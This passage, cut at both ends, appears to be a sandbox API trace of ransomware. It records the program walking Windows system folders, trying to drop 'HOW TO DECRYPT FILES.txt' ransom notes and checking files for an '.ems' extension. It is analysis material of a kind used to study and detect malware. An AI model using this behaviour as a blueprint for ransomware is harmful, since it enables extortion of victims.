ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x113039b6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x113039b6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.617] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.617] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112dd85c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x113039b6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x113039b6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.617] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.617] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.617] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb15b2c0e, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb15b2c0e, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x94d2d071, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1a52, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="WebAdminHelp.aspx", cAlternateFileName="WEBADM~1.ASP")) returned 1 [0165.617] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.617] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp.aspx") returned -1 [0165.617] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp.aspx") returned -1 [0165.617] lstrcmpiA (lpString1="", lpString2="WebAdminHelp.aspx") returned -1 [0165.617] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\*.*") returned="*.*" [0165.617] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" [0165.617] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\") returned="" [0165.617] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" [0165.618] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\how to decrypt files.txt")) returned 0xffffffff [0165.618] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.618] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.618] CloseHandle (hObject=0xffffffff) returned 0 [0165.618] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\", lpString2="WebAdminHelp.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp.aspx" [0165.618] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp.aspx", pszSpec="*.ems") returned 0 [0165.619] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb15b2c0e, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb15b2c0e, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x94e118a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3503, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminHelp_Application.aspx", cAlternateFileName="WEBADM~2.ASP")) returned 1 [0165.619] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.619] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp_Application.aspx") returned -1 [0165.619] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp_Application.aspx") returned -1 [0165.619] lstrcmpiA (lpString1="", lpString2="WebAdminHelp_Application.aspx") returned -1 [0165.619] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp.aspx") returned="WebAdminHelp.aspx" [0165.619] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" [0165.619] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\") returned="" [0165.619] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" [0165.619] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\how to decrypt files.txt")) returned 0xffffffff [0165.619] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.620] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.620] CloseHandle (hObject=0xffffffff) returned 0 [0165.620] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\", lpString2="WebAdminHelp_Application.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Application.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Application.aspx" [0165.620] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Application.aspx", pszSpec="*.ems") returned 0 [0165.620] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb15feec8, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb15feec8, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x94f1c237, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xfec, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminHelp_Internals.aspx", cAlternateFileName="WEBADM~3.ASP")) returned 1 [0165.621] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.621] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp_Internals.aspx") returned -1 [0165.621] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp_Internals.aspx") returned -1 [0165.621] lstrcmpiA (lpString1="", lpString2="WebAdminHelp_Internals.aspx") returned -1 [0165.621] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Application.aspx") returned="WebAdminHelp_Application.aspx" [0165.621] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" [0165.621] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\") returned="" [0165.621] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" [0165.621] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\how to decrypt files.txt")) returned 0xffffffff [0165.621] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.622] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.622] CloseHandle (hObject=0xffffffff) returned 0 [0165.622] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\", lpString2="WebAdminHelp_Internals.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Internals.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Internals.aspx" [0165.622] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Internals.aspx", pszSpec="*.ems") returned 0 [0165.622] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb15feec8, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb15feec8, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x95026bc9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1a2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminHelp_Provider.aspx", cAlternateFileName="WEBADM~4.ASP")) returned 1 [0165.622] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.622] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp_Provider.aspx") returned -1 [0165.622] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp_Provider.aspx") returned -1 [0165.622] lstrcmpiA (lpString1="", lpString2="WebAdminHelp_Provider.aspx") returned -1 [0165.622] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Internals.aspx") returned="WebAdminHelp_Internals.aspx" [0165.623] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" [0165.623] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\") returned="" [0165.623] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" [0165.623] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\how to decrypt files.txt")) returned 0xffffffff [0165.623] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.623] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.623] CloseHandle (hObject=0xffffffff) returned 0 [0165.623] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\", lpString2="WebAdminHelp_Provider.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Provider.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Provider.aspx" [0165.623] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Provider.aspx", pszSpec="*.ems") returned 0 [0165.624] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb164b182, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb164b182, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9504cd27, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2943, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminHelp_Security.aspx", cAlternateFileName="WEBB00~1.ASP")) returned 1 [0165.624] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.624] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp_Security.aspx") returned -1 [0165.624] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp_Security.aspx") returned -1 [0165.624] lstrcmpiA (lpString1="", lpString2="WebAdminHelp_Security.aspx") returned -1 [0165.624] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Provider.aspx") returned="WebAdminHelp_Provider.aspx" [0165.624] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" [0165.624] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\") returned="" [0165.624] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" [0165.624] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\how to decrypt files.txt")) returned 0xffffffff [0165.625] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.625] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.625] CloseHandle (hObject=0xffffffff) returned 0 [0165.625] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\", lpString2="WebAdminHelp_Security.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Security.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Security.aspx" [0165.625] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_help_b03f5f7f11d50a3a_6.1.7600.16385_none_094460616193b3f6\\WebAdminHelp_Security.aspx", pszSpec="*.ems") returned 0 [0165.626] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb164b182, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb164b182, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9504cd27, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2943, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminHelp_Security.aspx", cAlternateFileName="WEBB00~1.ASP")) returned 0 [0165.626] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.627] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112dd85c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1134fc6a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1134fc6a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab", cAlternateFileName="AM78A1~1.163")) returned 1 [0165.627] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab") returned -1 [0165.627] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab") returned -1 [0165.627] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.627] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab" [0165.627] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112dd85c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1134fc6a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1134fc6a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.630] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.630] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, 